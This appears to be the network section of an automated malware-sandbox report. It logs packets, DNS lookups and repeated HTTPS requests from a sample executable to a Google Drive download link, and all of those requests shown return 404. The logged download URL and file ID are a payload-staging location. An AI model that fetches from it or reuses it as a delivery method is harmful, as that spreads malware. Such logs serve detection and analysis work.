Jan 10, 2025 15:38:33.188255072 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:33.188313007 CET	443	49815	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:33.446289062 CET	443	49815	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:33.446527004 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:33.446886063 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:33.446913958 CET	443	49815	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:33.446971893 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:33.446995020 CET	443	49815	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:33.775274038 CET	443	49815	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:33.775497913 CET	443	49815	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:33.775494099 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:33.775567055 CET	443	49815	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:33.775667906 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:33.775713921 CET	443	49815	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:33.775825977 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:33.775882006 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:33.775968075 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:33.775968075 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:33.776025057 CET	443	49815	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:33.776185036 CET	49815	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:43.814834118 CET	49816	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:43.814946890 CET	443	49816	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:43.815290928 CET	49816	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:43.816214085 CET	49816	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:43.816277027 CET	443	49816	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:44.077436924 CET	443	49816	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:44.077645063 CET	49816	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:44.077948093 CET	49816	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:44.077994108 CET	443	49816	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:44.078087091 CET	49816	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:44.078116894 CET	443	49816	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:44.349354982 CET	443	49816	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:44.349567890 CET	443	49816	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:44.349625111 CET	49816	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:44.349858046 CET	49816	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:44.349917889 CET	49816	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:38:44.349958897 CET	443	49816	142.250.190.110	192.168.11.20
Jan 10, 2025 15:38:44.350305080 CET	49817	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:44.350409031 CET	443	49817	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:44.350600004 CET	49817	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:44.350840092 CET	49817	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:44.350897074 CET	443	49817	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:44.609752893 CET	443	49817	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:44.609937906 CET	49817	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:44.610301971 CET	49817	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:44.610356092 CET	443	49817	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:44.610395908 CET	49817	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:44.610420942 CET	443	49817	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:44.960947990 CET	443	49817	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:44.961072922 CET	443	49817	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:44.961158991 CET	49817	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:44.961189032 CET	443	49817	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:44.961281061 CET	49817	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:44.961549044 CET	49817	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:44.961704016 CET	49817	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:38:44.961872101 CET	443	49817	142.250.190.97	192.168.11.20
Jan 10, 2025 15:38:44.961997986 CET	49817	443	192.168.11.20	142.250.190.97

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:32:07.294373035 CET	59151	53	192.168.11.20	1.1.1.1
Jan 10, 2025 15:32:07.413742065 CET	53	59151	1.1.1.1	192.168.11.20
Jan 10, 2025 15:32:07.997942924 CET	54659	53	192.168.11.20	1.1.1.1
Jan 10, 2025 15:32:08.117649078 CET	53	54659	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 15:32:07.294373035 CET	192.168.11.20	1.1.1.1	0x2b1b	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:32:07.997942924 CET	192.168.11.20	1.1.1.1	0x8168	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 15:32:07.413742065 CET	1.1.1.1	192.168.11.20	0x2b1b	No error (0)	drive.google.com		142.250.190.110	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:32:08.117649078 CET	1.1.1.1	192.168.11.20	0x8168	No error (0)	drive.usercontent.google.com		142.250.190.97	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49746	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:32:07 UTC	216	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 14:32:07 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:32:07 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-fw53fAioKHuPTZBdtCGS_w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49747	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:32:08 UTC	258	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 14:32:08 UTC	2218	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQRxjkIGfA5tlLHI4sB_wrr9_aJ4a90vwOxRb3-tTucYZXp2uBX902t0BkusxBLWsjI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:32:08 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-aA_ZR0f0BCBgdPSoN7LX8Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU; expires=Sat, 12-Jul-2025 14:32:08 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:32:08 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 44 50 43 58 32 68 4e 68 39 54 5f 54 41 6e 55 64 46 37 6d 71 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sDPCX2hNh9T_TAnUdF7mqg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49748	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:32:19 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:32:19 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:32:19 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-yHZRtYMUPF1PsRO_R45pKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49749	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:32:19 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:32:19 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6nQVZzX7OjgneRLkuPxLFJSj3gieiGHHX7Yx6rofX72iClNoI2EAetFIedSoc1pP9J Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:32:19 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-QoWLUwcE8tb47_MzPxWpaA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:32:19 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 5f 4b 48 69 6c 43 36 4f 4f 51 4c 68 51 55 68 32 67 49 36 4f 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="B_KHilC6OOQLhQUh2gI6OA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49750	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:32:30 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:32:30 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:32:30 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-utHyYCJRjBhumjw0etxrGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49751	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:32:30 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:32:31 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5BU9c99SYDNTRGFvVENQyj46YaRcBipwEyxNsKmO8-d16nHi1RXCQmXEPmY8FKIEDt Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:32:31 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-IKIsCl_XsgTFIpEaBBGV0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:32:31 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 47 46 62 63 30 46 72 36 5f 4a 66 62 61 68 64 62 51 5f 69 46 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="TGFbc0Fr6_JfbahdbQ_iFA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49752	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:32:41 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
